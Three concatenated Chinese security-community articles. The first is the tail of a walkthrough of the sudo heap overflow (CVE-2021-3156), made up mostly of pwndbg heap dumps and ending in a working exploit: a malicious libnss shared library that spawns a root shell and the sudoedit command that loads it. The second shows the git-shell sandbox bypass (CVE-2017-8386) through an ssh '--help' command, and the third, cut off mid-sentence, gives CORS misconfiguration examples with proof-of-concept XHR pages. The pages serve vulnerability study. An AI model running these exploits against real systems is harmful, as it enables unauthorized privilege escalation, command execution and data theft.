(0x70) tcache_entry[5](1): 0x55790ab93480
(0x80) tcache_entry[6](1): 0x55790aba3b60
(0x100) tcache_entry[14](1): 0x55790ab97f10
(0x150) tcache_entry[19](1): 0x55790ab96ae0
(0x180) tcache_entry[22](1): 0x55790ab96960
(0x1e0) tcache_entry[28](1): 0x55790ab9e8c0
nss_load_library初始化__nss_group_database和sudo_user.cmnd_args后的内存i情况：
pwndbg> heapinfo
top: 0x55790aba6a50 (size : 0xc5b0)
last_remainder: 0x55790ab9ec80 (size : 0xe20)
unsortbin: 0x55790ab9ec80 (size : 0xe20)
largebin[48]: 0x55790aba3bd0 (size : 0x2d20)
largebin[50]: 0x55790ab9faf0 (size : 0x4010)
(0x40) tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920
(0x70) tcache_entry[5](1): 0x55790ab93480
(0x80) tcache_entry[6](1): 0x55790aba3b60
(0x100) tcache_entry[14](1): 0x55790ab97f10
(0x150) tcache_entry[19](1): 0x55790ab96ae0
(0x180) tcache_entry[22](1): 0x55790ab96960
(0x1e0) tcache_entry[28](1): 0x55790ab9e8c0
pwndbg> p __nss_group_database $5 = (service_user *) 0x55790ab92cc0
pwndbg> p sudo_user.cmnd_args $6 = 0x55790ab9e390 "xxxxxx"
pwndbg> chunkptr __nss_group_database ==================================
Chunk info
==================================
Status : Used
Freeable : True
prev_size : 0x70756f7267
size : 0x40
prev_inused : 1
is_mmap : 0
non_mainarea : 0
pwndbg> chunkptr sudo_user.cmnd_args ==================================
Chunk info
==================================
Status : Freed
Unlinkable : False (FD or BK is corruption)
Can't access memory
prev_size : 0x0
size : 0x20
prev_inused : 1
is_mmap : 0
non_mainarea : 0
fd : 0x7800787878787878
bk : 0x7878787878787878
上述的内存情况我们可以得到以下结论：
* sudo_user.cmnd_args的地址高于__nss_group_database的地址
* tcache中也没有低于__nss_group_database的地址
* __nss_group_database节点的大小是0x40。
* sudo_user.cmnd_args节点的大小是0x20 。（因为已经溢出下一个chunk已经被破坏）
接下来我们构造一些内存碎片，给让他们的地址小于__nss_group_database
pwndbg> set env LC_IDENTIFICATION=en_US.UTF-8@xxxxxxxxxxxxx
pwndbg> heapbase
heapbase : 0x56447517a000
pwndbg> heapinfo
top: 0x564475190500 (size : 0xab00)
last_remainder: 0x564475188730 (size : 0xe20)
unsortbin: 0x564475188730 (size : 0xe20)
largebin[48]: 0x56447518d680 (size : 0x2d20)
largebin[50]: 0x5644751895a0 (size : 0x4010)
(0x40) tcache_entry[2](3): 0x56447517d7e0 --> 0x56447517d770 --> 0x56447517d460
(0x70) tcache_entry[5](1): 0x56447517cf80
(0x80) tcache_entry[6](1): 0x56447518d610
(0x100) tcache_entry[14](1): 0x5644751819c0
(0x150) tcache_entry[19](1): 0x56447517d620
(0x180) tcache_entry[22](1): 0x56447517d4a0
(0x1e0) tcache_entry[28](1): 0x564475188370
pwndbg> p __nss_group_database $1 = (service_user *) 0x56447517d8c0
pwndbg> p sudo_user.cmnd_args $2 = 0x564475187e40 "xxxxxx"
pwndbg> p (void*)__nss_group_database - 0x56447517d7e0 $2 = (void *) 0xe0
此时我们发现，tcache_entry[2]、tcache_entry[19]、
tcache_entry[22]的内存碎片地址都小于__nss_passwd_database的地址。接下来我们调整输入参数，申请到这个碎片。
pwndbg> b set_cmnd
Breakpoint 1 at 0x7f36d5c62fd0: file ./sudoers.c, line 922.
pwndbg> r -s 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\'
...
pwndbg> heapbase heapbase : 0x555f813c5000
pwndbg> heapinfo
top: 0x555f813db500 (size : 0xab00)
last_remainder: 0x555f813d3650 (size : 0xf00)
unsortbin: 0x555f813d3650 (size : 0xf00)
largebin[48]: 0x555f813d8680 (size : 0x2d20)
largebin[50]: 0x555f813d45a0 (size : 0x4010)
(0x20) tcache_entry[0](1): 0x555f813d2e40
(0x40) tcache_entry[2](3): 0x555f813c87d0 --> 0x555f813c8770 --> 0x555f813c8460
(0x70) tcache_entry[5](1): 0x555f813c7f80
(0x80) tcache_entry[6](1): 0x555f813d8610
(0x100) tcache_entry[14](1): 0x555f813cc9c0
(0x150) tcache_entry[19](1): 0x555f813c8620
(0x180) tcache_entry[22](1): 0x555f813c84a0
(0x1e0) tcache_entry[28](1): 0x555f813d3370
pwndbg> b ./sudoers.c:1014 Breakpoint 2 at 0x7f053126319d: ./sudoers.c:1014. (2 locations)
pwndbg> c
...
pwndbg> heapinfo
top: 0x555f813db500 (size : 0xab00)
last_remainder: 0x555f813d36f0 (size : 0xe60)
unsortbin: 0x555f813d36f0 (size : 0xe60)
largebin[48]: 0x555f813d8680 (size : 0x2d20)
largebin[50]: 0x555f813d45a0 (size : 0x4010)
(0x20) tcache_entry[0](1): 0x555f813d2e40
(0x40) tcache_entry[2](2): 0x555f813c8770 --> 0x555f813c8460 // 0x555f813c87d0 已经被我们申请走了
(0x70) tcache_entry[5](1): 0x555f813c7f80
(0x80) tcache_entry[6](1): 0x555f813d8610
(0x100) tcache_entry[14](1): 0x555f813cc9c0
(0x150) tcache_entry[19](1): 0x555f813c8620
(0x180) tcache_entry[22](1): 0x555f813c84a0
(0x1e0) tcache_entry[28](1): 0x555f813d3370
pwndbg> b nss_load_library Breakpoint 3 at 0x7f0531c8c4c0: file nsswitch.c, line 329.
pwndbg> c
...
pwndbg> p __nss_group_database
$1 = (service_user *) 0x555f813c88c0
pwndbg> p sudo_user.cmnd_args $2 = 0x555f813c87d0 'x' <repeats 54 times>
pwndbg> p (void*)__nss_group_database - (void*)sudo_user.cmnd_args
$38 = 240
pwndbg> p (void*)&__nss_group_database->library - (void*)sudo_user.cmnd_args
$49 = 272
pwndbg> p (void*)__nss_group_database->name - (void*)sudo_user.cmnd_args
$40 = 288
现在我们已经构造好了内存布局，接下来我们调整环境变量，实现修改 _nss_group_database
{library、name}的值。如果要真正实现漏洞利用，需要将libary的值修改成NULL，name修改一个两个字节以上的字符串。根据漏洞特点连续的{‘\’
‘\’ ‘\’ ‘\’ …}会溢出成一个连续0的内存空间，如果要修改libary为NULL，至少要连续八个‘\’
以上，然后我们接着构造溢出参数，实现修改library的目的。
pwndbg> b set_cmnd
Breakpoint 1 at 0x7fdc9f272fd0: file ./sudoers.c, line 922.
pwndbg> set env 1 xxxxx
pwndbg> r -s 'xxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'
...
pwndbg> search -t string -s files
sudo 0x557da6f2f370 0x73656c6966 /* 'files' */
sudo 0x557da6f2f3b2 0x65730073656c6966 /* 'files' */
[heap] 0x557da7cd4190 0x73656c6966 /* 'files' */
[heap] 0x557da7cd68f0 0x73656c6966 /* 'files' */
[heap] 0x557da7cd6990 0x73656c6966 /* 'files' */
[heap] 0x557da7cd69f0 0x73656c6966 /* 'files' */
[heap] 0x557da7cd6a50 0x73656c6966 /* 'files' */
[heap] 0x557da7cd6b50 0x73656c6966 /* 'files' */
[heap] 0x557da7cd6c00 0x73656c6966 /* 'files' */
[heap] 0x557da7cd6cb0 0x73656c6966 /* 'files' */
[heap] 0x557da7cd6d50 0x73656c6966 /* 'files' */
[heap] 0x557da7cd6df0 0x73656c6966 /* 'files' */
sudoers.so 0x7f60ad46b339 0x73000073656c6966 /* 'files' */
libc-2.31.so 0x7f60adecd9c7 0x65540073656c6966 /* 'files' */
libc-2.31.so 0x7f60adececc5 0x6f680073656c6966 /* 'files' */
libc-2.31.so 0x7f60aded070e 0x652f0073656c6966 /* 'files' */
libc-2.31.so 0x7f60aded36a9 0x49000073656c6966 /* 'files' */
ld-2.31.so 0x7f60adf9216d 0x73656c6966 /* 'files' */
pwndbg> p *__nss_passwd_database
$1 = {
next = 0x557da7cd4440,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x557da7cd58f0,
known = 0x557da7cd58b0,
name = 0x557da7cd4190 "files"
}
pwndbg> p *(service_user *)(0x557da7cd68f0 - 0x30) $2 = {
next = 0x557da7cd6900,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x0,
name = 0x557da7cd68f0 "files"
}
pwndbg> hexdump 0x557da7cd68e0 +0000 0x557da7cd68e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
+0010 0x557da7cd68f0 66 69 6c 65 73 00 00 00 41 00 00 00 00 00 00 00 │file│s...│A...│....│
+0020 0x557da7cd6900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
+0030 0x557da7cd6910 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 │....│....│....│....│
pwndbg> b sudoers.c:1014
Breakpoint 3 at 0x7fa8a7fcf19d: sudoers.c:1014. (2 locations)
pwndbg> c
...
pwndbg> hexdump 0x557da7cd68e0
+0000 0x557da7cd68e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 │....│....│....│...1│
+0010 0x557da7cd68f0 3d 2f 78 78 78 78 20 00 00 00 00 00 00 00 00 00 │=xxx│xx..│....│....│
+0020 0x557da7cd6900 00 00 00 00 00 00 00 00 31 3d 2f 78 78 78 78 20 │....│....│1=xx│xxx.│
+0030 0x557da7cd6910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
pwndbg> p *(service_user *)(0x557da7cd68f0 - 0x30)
$3 = {
next = 0x2078,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 792539392), (unknown: 2021161080)},
library = 0x0,
known = 0x3100000000000000,
name = 0x557da7cd68f0 "=xxxxx "
}
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__GI___tsearch (key=key@entry=0x7ffd5fbe59f8, vrootp=vrootp@entry=0x557da7cd68e8, compar=compar@entry=0x7f60ade5c090 <known_compare>) at tsearch.c:309
───[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd5fbe5990 —▸ 0x7f60adecd36a ◂— 0x6225206125000200
01:0008│ 0x7ffd5fbe5998 —▸ 0x7f60ade5c090 (known_compare) ◂— endbr64
02:0010│ 0x7ffd5fbe59a0 ◂— 0x0
03:0018│ 0x7ffd5fbe59a8 —▸ 0x7f60ade5c8ec (__nss_database_lookup2+204) ◂— test eax, eax
04:0020│ 0x7ffd5fbe59b0 —▸ 0x557da7cdb308 ◂— 0x72007800746f6f72 /* 'root' */
05:0028│ 0x7ffd5fbe59b8 —▸ 0x557da7cd68c0 ◂— 0x2078 /* 'x ' */
06:0030│ 0x7ffd5fbe59c0 —▸ 0x7ffd5fbe5a40 ◂— 0x0
07:0038│ 0x7ffd5fbe59c8 —▸ 0x7ffd5fbe5ac8 ◂— 0x10001
───[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7f60ade32d46 tsearch+54
f 1 7f60ade5ce51 __nss_lookup_function+97
f 2 7f60addf813f internal_getgrouplist+175
f 3 7f60addf83ed getgrouplist+109
f 4 7f60adf356b6 sudo_getgrouplist2_v1+198
f 5 7f60ad448433 sudo_make_gidlist_item+451
f 6 7f60ad4471de sudo_get_gidlist+286
f 7 7f60ad44051d runas_getgroups+93
f 8 7f60ad42f5e2 set_perms+1186
f 9 7f60ad42f5e2 set_perms+1186
f 10 7f60ad428c40 sudoers_lookup+112
pwndbg> f 1
#1 0x00007f60ade5ce51 in __GI___nss_lookup_function (ni=ni@entry=0x557da7cd68c0, fct_name=<optimized out>, fct_name@entry=0x7f60adece9d7 "initgroups_dyn") at nsswitch.c:428
428 nsswitch.c: No such file or directory.
pwndbg> p ni
$4 = (service_user *) 0x557da7cd68c0
pwndbg> p *ni
$5 = {
next = 0x2078,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 792539392), (unknown: 2021161080)},
library = 0x0,
known = 0x3100000000000000,
name = 0x557da7cd68f0 "=xxxxx "
}
根据之前的方案分析，library修改为NULL，name修改成任意值应该，程序能运行到dlopen才对，不过事实证明不是这样的，于是我根据crash信息和源码，我发现不单要修改library为NULL，而且know也要修改为NULL，否则在执行tsearch会crash，根本运行不到nss_load_library的dlopen。接下来我们重新调整参数，修改library、know为NULL，name修改为任意字符串。
pwndbg> b set_cmnd
Breakpoint 1 at 0x7fdc9f272fd0: file ./sudoers.c, line 922.
pwndbg> b nss_load_library Note: breakpoint 2 also set at pc 0x7f2c3b3194c0.
Breakpoint 2 at 0x7f2c3b3194c0: file nsswitch.c, line 329.
pwndbg> r -s 'xxxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'
...
pwndbg> p *(service_user *)0x55baa82948c0
$1 = {
next = 0x207878,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 1026621440), (unknown: 2021161080)},
library = 0x0,
known = 0x0,
name = 0x55baa82948f0 "1=xxxxx "
}
pwndbg> c
Continuing.
Breakpoint 2, nss_load_library (ni=ni@entry=0x55baa82948c0) at nsswitch.c:329
pwndbg> p *ni
$1 = {
next = 0x207878,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 1026621440), (unknown: 2021161080)},
library = 0x0,
known = 0x55baa829eee0,
name = 0x55baa82948f0 "1=xxxxx "
}
pwndbg> ni
...
pwndbg>
0x00007f2c3b319627 359 in nsswitch.c
───[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────────────
0x7f2c3b319611 <nss_load_library+337> mov esi, 0x80000002
0x7f2c3b319616 <nss_load_library+342> mov rdi, rsp
0x7f2c3b319619 <nss_load_library+345> mov dword ptr [rax], 0x6f732e
0x7f2c3b31961f <nss_load_library+351> mov byte ptr [rax + 5], 0
0x7f2c3b319623 <nss_load_library+355> mov word ptr [rax + 3], cx
► 0x7f2c3b319627 <nss_load_library+359> call __libc_dlopen_mode <__libc_dlopen_mode>
rdi: 0x7fff12ac9fa0 ◂— 'libnss_1=xxxxx .so.2'
rsi: 0x80000002
rdx: 0x8
rcx: 0x322e
0x7f2c3b31962c <nss_load_library+364> mov r10, qword ptr [rbp - 0x48]
0x7f2c3b319630 <nss_load_library+368> mov qword ptr [rbx + 8], rax
0x7f2c3b319634 <nss_load_library+372> mov rbx, qword ptr [r12 + 0x20]
0x7f2c3b319639 <nss_load_library+377> cmp qword ptr [rbx + 8], 0
0x7f2c3b31963e <nss_load_library+382> je nss_load_library+507 <nss_load_library+507>
我们修正好了参数，再次运行，发现已经可以同时修改library和known为NULL，这时我们继续调试程序，证明已经可以执行到nss_load_library的断点
了，再查看ni是符合预期的，我们继续调试跟踪成到__libc_dlopen_mode之前，发先rdi第一参数是’libnss_1=xxxxx
.so.2’。到这里我们已经可以sudo程序打开一个任意字符名的so了。
修改环境变量1的值为/xxxx，这样dlopen就会尝试打开一个 ‘libnss_1=/xxxx\
.so.2’的动态库。我实现了一个简单的shellcode测试一下这个POC。
-> % id
uid=1002(test) gid=1002(test) groups=1002(test)
-> % mkdir -p libnss_1\=/
-> % cat << EOF | gcc -fPIC -shared -o libnss_1=/xxxx\ .so.2 -xc - #include <unistd.h>
void __attribute__((constructor)) init() {
!setuid(0) && !setgid(0) && execl("/bin/sh", "sh", (char *) 0);
}
EOF
-> % tree
.
└── libnss_1=
└── xxxx .so.2
1 directory, 1 file
-> % env -i 1=/xxxx LC_IDENTIFICATION=en_US.UTF-8@xxxxxxxxxxxxx /tmp/sudo/bin/sudoedit -s 'xxxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root),1002(test)
到此，这个POC已经实现了提权，接下来我会写一下自己的心得：
* 理解内存管理的原理和对抗策略（内存分配算法、缓存算法一直都在升级，到目前为止还有很多可以利用的“姿势”，以后我可能会整理一份相关的笔记）
* alsr只是随机化了内存基地址，在执行环境不变的情况下，反复执行同一个程序，各个内存变量之间的偏移是不变的。
* 要有依据的利用蛮力测试方法构造有效参数。（这个也是目前fuzzing测试的优化点）
## 总结
这个漏洞不是一个RCE漏洞，直接危害程度应该不会很大，间接危程度还是很高的，建议大家还是尽早修补了吧。
引用
* <https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt> | 社区文章 |
作者：[ **phith0n@长亭科技**](https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html#sshgit)
原文地址：[GIT-SHELL
沙盒绕过（CVE-2017-8386）](https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html#sshgit)
GIT-SHELL 沙盒绕过（CVE-2017-8386）导致任意文件读取、可能的任意命令执行漏洞。
参考链接：
* https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
* http://docs.ioin.in/writeup/evi1cg.me/_archives_CVE_2017_8386_html/index.html
### 一. 测试环境
编译及运行测试环境（[地址](https://github.com/phith0n/vulhub/tree/master/git/CVE-2017-8386)）：
docker-compose build
docker-compose up -d
为了不和docker母机的ssh端口冲突，我将容器的ssh端口设置成3322。本目录下我生成了一个id_rsa，这是ssh的私钥，连接的时候请指定之。
在连接以前，需要先设置私钥的权限为0600：`chmod 0600 id_rsa`，否则连接可能失败。
正常连接其ssh服务`ssh -p 3322 -i id_rsa [email protected]`，会被git-shell给拦截，返回错误`fatal:
unrecognized command ''`，并且连接被关闭。
使用--help技巧，连接目标并进入帮助页面：
ssh -p 3322 -i id_rsa -t [email protected] "git-upload-archive '--help'"
按shift+e，读取任意文件：
回到帮助页面，输入!id执行命令：
### 二. 原理
###### 1\. 基于ssh协议的git拉取流程
git-shell是git服务中重要的组成部分，众所周知，git服务支持ssh、git、https三种协议来传递项目，其中ssh是最安全，也最方便的一种方式。
我们随便打开Github上一个项目，找到`Clone with
SSH`里列出的地址：[email protected]:phith0n/vulhub.git，其实这个url就是告诉git，ssh用户名是git，地址是github.com（默认端口是22），该项目位于`phith0n/vulhub.git`这个目录下；然后git就通过ssh协议连接上github.com，并将对应目录下的项目拉取下来。
所以，基于ssh协议的git clone等操作，本质上就是通过ssh协议连接上git服务器，并将指定目录拉取下来的过程。
那么，既然这个过程是个ssh交互的过程，那么我直接执行`ssh
[email protected]`是不是就可以登录github服务器了呢？显然是不行的，你可以试试：
说“不行”其实也有偏差，实际上我确实是连接上了其ssh服务，并验证身份通过了，但他给了我一段提示信息“Hi phith0n! You've
successfully authenticated, but GitHub does not provide shell
access.”，就把我的连接关了。
所以，正常来说，基于ssh的git拉取过程对于git服务器是安全的。
关于如何搭建一个git服务器，可以参考[这篇文章](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000/00137583770360579bc4b458f044ce7afed3df579123eca000)
###### 2\. 如何禁止git用户执行系统shell
那么，github这类git服务商是怎么实现上述“安全”通信的流程的呢？
让用户可以通过ssh认证身份，但又不给用户shell，这个过程有两种方法实现：
1. 创建系统用户git的时候将其shell设置成git-shell
2. 在authorized_keys文件每个ssh-key的前面设置command，覆盖或劫持重写原本的命令
第一种方法比较直观，就是创建用户的时候不给其正常的bash或sh的shell，而是给它一个git-shell。git-shell是一个沙盒环境，在git-shell下，只允许执行沙盒内包含的命令。
第二种方法不仅在git服务器上使用，很多Linux发行版也会用到。比如aws，默认安装后是不允许root登录的，实现方法就是在/root/.ssh/authorized_keys中设置`command="echo
'Please login as the user \"ec2-user\" rather than the user
\"root\".';echo;sleep 10"`。这句话相当于覆盖了原本执行的shell，变成了echo一段文字。
当然，第二种方法内也可以用git-shell，比如在添加git用户的时候赋予其正常的`/bin/bash`，但在authorized_keys中设置`command="git-shell
-c \"$SSH_ORIGINAL_COMMAND\""`，实际上还是使用了git-shell。
###### 3\. git-shell 沙盒绕过漏洞（CVE-2017-8386）
git-shell是一个可以限制用户执行命令的shell，如果我们在git用户家目录下创建一个新目录，叫`git-shell-commands`，然后将你允许用户执行的命令放在这个目录下，这就创建好了一个沙盒。在git-shell中，只能执行`/home/git/git-shell-commands`目录下的命令。
如果系统是没有`git-shell-commands`目录，那么git-shell默认只允许执行如下三个命令：
* `git-receive-pack <argument>`
* `git-upload-pack <argument>`
* `git-upload-archive <argument>`
这就是白名单。
但CVE-2017-8386的作者发现，执行`git-upload-archive --help`（或`git-receive-pack
--help`），将会进入一个交互式的man页面，man又调用了less命令，最后是一个可以上下翻页的帮助文档。
本来这也没什么，但是，less命令有一个特性，就是其支持一些交互式的方法。比如在less页面中，按shift+e可以打开Examine功能，通过这个功能可以读取任意文件；输入`!id`就可以执行id这个命令。
可以随便找台linux计算机试一下，执行`less /etc/passwd`来到less的页面，然后在英文输入法下输入`!id`，就可以执行id命令：
所以，利用这个特性，我们就可以绕过git-shell的沙盒读取任意文件，或执行任意命令了！
我们可以先试试，在Linux下直接执行`git-receive-pack --help`，再输入`!id`，看到的效果和上图是类似的。
[evi1cg大佬的博客](http://docs.ioin.in/writeup/evi1cg.me/_archives_CVE_2017_8386_html/index.html)中有动图，看的更直观。
###### 4\. 通过ssh进行利用
那么，如何远程利用这个漏洞？
我们前面试了，直接`ssh git@gitserver`只能拿到git-shell（或返回一段提醒文字），我们就利用上一节里提到的沙盒绕过漏洞执行命令：
ssh -p 3322 -i id_rsa -t [email protected] "git-upload-archive '--help'"
进入帮助页面，然后按shift+e或`!id`即可。
###### 5\. 一些限制
我前文说了，一般配置git用户，不让ssh拥有shell，有两种方法：一是创建用户的时候设置其shell为`/usr/bin/git-shell`，二是在authorized_keys中覆盖command。
如果目标服务器使用了第一种方法，我们即使成功执行了`git-upload-archive '--help'`进入帮助页面，也不能执行命令。因为!id还是在git-shell下执行，git-shell中没有id命令，所以依旧执行不成功。
但读取文件是一定可以的，因为读取文件不是通过命令读取的，所以不受git-shell沙盒的影响。
如果目标服务器是用第二种方法配置的git-shell，比如我这里这个测试环境，我是在`/etc/passwd`文件设置git用户的shell是bash，而在authorized_keys中覆盖command，执行git-shell。
这种情况下，如果我进入了帮助页面，输入`!id`是可以成功执行id命令的，因为此时id是在bash下执行的，而不是在git-shell下执行的，所以没有沙盒限制。
总的来说，这个漏洞至少能做到任意文件读取，有可能可以执行任意命令。
* * * | 社区文章 |
## 浅析CORS攻击及其挖洞思路
## 0x0 前言
我对于CORS配置不当漏洞的认识一直处于比较模糊的状态，不是很清楚如何判定存在这个漏洞，如何去利用这个漏洞造成危害。这类型的漏洞在SRC中一般是中危的，非常适合拿来刷排名，所以笔者这里以此进行了一番研究和总结。
## 0x1 CORS机制
CORS全名 **跨域资源共享(Cross-Origin-Resourece-sharing)**
,该机制主要是解决浏览器同源策略所带来的不便，使不同域的应用能够无视同源策略，进行信息传递。
引用一张图能很好地说明CORS机制的作用
## 0x2 CORS机制实现
那么这个机制是怎么发挥作用的呢？
>
> CORS的标准定义是:通过设置http头部字段，让客户端有资格跨域访问资源。通过服务器的验证和授权之后，浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
为了更好理解这个过程，我们首先了解下相关的http头部字段
请求头 | 说明
---|---
Origin | 表面预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段
Access-Control-Request-Method | 将实际请求所使用的HTTP方法告知服务器
Access-Control-Request-Headers | 将实际请求所携带的首部字段告知服务
响应头 | 说明
---|---
Access-Control-Allow-Origin(ACAO) | 指定允许访问资源的外域URI，对于携带身份凭证的请求不可使用通配符*
Access-Control-Allow-Credentials |
是否允许浏览器读取response的内容，当用在preflight预检请求的响应中时，指定实际的请求是否可使用credentials
那么这个机制,具体可以总结为下面这个图片
所有的请求实际上都已经发出了，只不过浏览器解析的时候根据返回的http头部字段来选择性拦截了而已。
## 0x3 如何配置CORS
### 0x3.1 配置中间件nginx实现CORS跨域
这个点我就从网上经典的例子来找的，其实默认这样设置存在很多问题，0x4的时候我会讲相应的攻击思路
我当时google了一下搜索[nginx配置跨域CORS](\[https://www.google.com/search?q=nginx%E9%85%8D%E7%BD%AE%E8%B7%A8%E5%9F%9F&oq=nginx%E9%85%8D%E7%BD%AE%E8%B7%A8%E5%9F%9F&aqs=chrome..69i57.2950j0j7&sourceid=chrome&ie=UTF-8\]\(https://www.google.com/search?q=nginx配置跨域&oq=nginx配置跨域&aqs=chrome..69i57.2950j0j7&sourceid=chrome&ie=UTF-8))
经典配置一:
location / {
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
if ($request_method = 'OPTIONS') {
return 204;
}
}
经典配置二:
location / {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
比较合理的配置方案(加上白名单检查):
location / {
# 检查域名后缀 这里进行了检查
if ($http_origin ~ \.test\.com) {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
# options请求不转给后端，直接返回204
}
### 0x3.2 单服务PHP简单控制头部方式
当年某一个SSRF的漏洞，我就是天真的没有设置跨域请求，不熟悉，导致丢失了一血，非常遗憾哇。
1.允许所有源
<?php
header("Access-Control-Allow-Origin: *");
?>
2.允许来自特定源的访问
<?php
header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']);
?>
3.配置多个访问源
<?php
$allowed_origins = array(
"http://www.example.com" ,
"http://app.example.com" ,
"http://cms.example.com" ,
);
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){
@header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
}
?>
### 0x3.3 ...
还有相当多的方式,具体可以参考[Nginx 通过 CORS 实现跨域](https://www.hi-linux.com/posts/60405.html)
## 0x4 攻击CORS的思路
### 0x4.1 一次失败的例子
这里我自己写一个简单的存在CORS漏洞的服务为例子展示如何对此进行攻击(其实没办法攻击)。
<?php
header("Access-Control-Allow-Origin: *");
$value = "mySecretIs123456";
setcookie("pass",$value, time()+3600*24);
?>
<!DOCTYPE html>
<html>
<head>
<script>
window.onload = function(){
document.body.innerHTML = document.cookie;
}
</script>
</head>
<body>
</body>
</html>
可以看到我们直接把cookie回显给了页面,当时我挖掘腾讯的时候就遇到这样的一个例子
但是没想着怎么去利用,然后给忽略了，不过当时好像也没开cors配置，毕竟是个test站点。
回到正题上，我们该怎么对此进行攻击呢。
这里我们编辑下`/etc/hosts`,增加两条解析记录
127.0.0.1 victim.com
26 127.0.0.1 attack.com
exp.php:
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
xhttp.send();
}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
然后我们假装受害者去访问下:
结果返回的是html的源代码，没办法获取dom之后的结果,这其实也在我的意料之中因为浏览器不会去解析资源内容再返回，欢迎师傅们谈下这类型的信息泄漏有啥利用的思路。
### 0x4.2 API接口信息获取
这里分为两种情况:
第一种是无需cookie的，这种一般可以利用在比如限制了ip的waf，让管理员去请求敏感页面获取相应资源。
漏洞代码如下:
`apiVuln.php`
<?php
header("Access-Control-Allow-Origin: *");
header("content-type:application/json");
$info = array('user'=>'xq17', 'pass'=>'123456');
echo json_encode($info); //json_encode对变量进行 JSON 编码
攻击代码如下:
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/apiVuln.php", true);
xhttp.send();
}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
第二种是发送cookie利用登陆信息，然后请求鉴权的api获取敏感数据。
`vuln.php`
<?php
header("Access-Control-Allow-Origin: *");
session_start();
if(@$_SESSION["user"] == "admin"){
//输出敏感信息
$info = array('user'=>'xq17', 'pass'=>'123456');
echo json_encode($info);
}else
{
echo "login fail!";
echo '<a href="login.php">登陆</a>';
}
?>
`login.php`
<?php
session_start();
$_SESSION["user"]="admin";
header("Location:vuln.php");
这里我们准备下两个页面,当我们尝试利用这样的poc来攻击的话
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);
xhttp.withCredentials = false;
xhttp.send();
}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
我们访问
